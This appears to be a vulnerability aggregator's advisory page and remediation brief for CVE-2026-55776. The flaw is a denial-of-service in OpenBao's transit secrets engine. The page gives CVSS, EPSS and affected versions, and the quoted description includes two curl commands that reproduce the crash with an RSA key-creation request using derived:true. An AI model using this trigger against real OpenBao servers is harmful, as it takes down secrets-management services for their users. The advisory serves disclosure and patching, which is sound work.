OpenBao: Transit secrets engine crashes on key creation with derived: true for asymmetric key types

Exploitation

No confirmed exploitation recorded. Patch Next marks exploitation only from CISA KEV.

CVSS

6.5 · CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

EPSS

• CVE-2026-55776: 0.61% estimated exploitation activity in the next 30 days; percentile 49.36 (FIRST EPSS, 2026-11-03). This is a model estimate, not proof of exploitation or customer exposure.

As published by the source; long descriptions are shortened.

On OpenBao 2.5.4 and 2.5.2(and likely earlier versions also), an authenticated caller with write access to transit/keys/ can crash the OpenBao server by issuing a single key-creation request that combines an asymmetric type (rsa-, ecdsa-, ed25519) with derived: true. The server returns no HTTP response and the process terminates (exit code 2). This is a remote, low-complexity denial-of-service against the OpenBao server. Mount the transit engine: curl -sS -X POST -H "X-Vault-Token: root" \ -d '{"type":"transit"}' \ http://127.0.0.1:8200/v1/sys/mounts/transit Trigger the crash: curl -sS -w '\nHTTP %{httpcode}\n' -X POST \ -H "X-Vault-Token: root" \ -H "Content-Type: application/json" \ -d '{"type":"rsa-2048","derived":true,"exportable":true,"deletionallowed":false}' \ http://127.0.0.1:8200/v1/transit/keys/some-key-name You can try with both JSON or HCL It will crash the entire cluster. Observed: HTTP 000 curl: (52) Empty reply from server $ docker ps -a --filter name=openbao STATUS:…

Published by the source

19 Jun 2026, 21:42 UTC

Last modified by the source

19 Jun 2026, 21:42 UTC

Source last checked

26 Oct 2026, 15:24 UTC

1. Revision 1 · created · 26 Oct 2026

   Published from ghsa record GHSA-8w8f-r2xv-4q4j

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# Patch Next advisory brief: CVE-2026-55776

Advisory: OpenBao: Transit secrets engine crashes on key creation with `derived: true` for asymmetric key types
IDs: CVE-2026-55776, GHSA-8w8f-r2xv-4q4j
Record: https://patchnext.com/advisories/cve-2026-55776 (revision 1, source checked 26 Oct 2026, 15:24 UTC)
Inventory: none attached. This brief comes from a public page and does not say whether any deployment is affected.
Severity: Medium (CVSS 6.5)
Exploitation: no confirmed exploitation recorded. Patch Next confirms exploitation only from CISA KEV.
Vendor response: Partial vendor fix; fixed versions by package: github.com/openbao/openbao 0.0.0-20260617104123-db57c62602b2. A vendor fix does not mean a deployment is fixed.

## Affected components
- Go github.com/openbao/openbao: affected >= 0.1.0, <= 2.5.4; < 0.0.0-20260617104123-db57c62602b2; fixed in 0.0.0-20260617104123-db57c62602b2

## Suggested inspection (read-only)
- Go github.com/openbao/openbao: check the installed version with your package manager.

## Supported action
No complete vendor fix is recorded. Follow the primary source's mitigation guidance and check this record again before closing anything.

## Required regression checks
- Run the test suite and a production build.
- Exercise the features that depend on github.com/openbao/openbao.
- Repeat the inspection and confirm that only fixed versions remain installed.

## Rollback considerations
- Keep the previous lockfile and deployment artifact. Rolling back reinstates the vulnerable version, so apply any documented mitigation while you fix forward.

## Unresolved questions
- Which deployments run an affected version?
- Exploitation status can change. Check again before lowering the priority.
- Mark the work resolved only after the fixed version is verified in production.

## Sources
- Verified: https://github.com/advisories/GHSA-8w8f-r2xv-4q4j (GitHub-reviewed advisory GHSA-8w8f-r2xv-4q4j lists affected ranges: Go github.com/openbao/openbao >=0.1.0 =0 <0.0.0-20260617104123-db57c62602b2)

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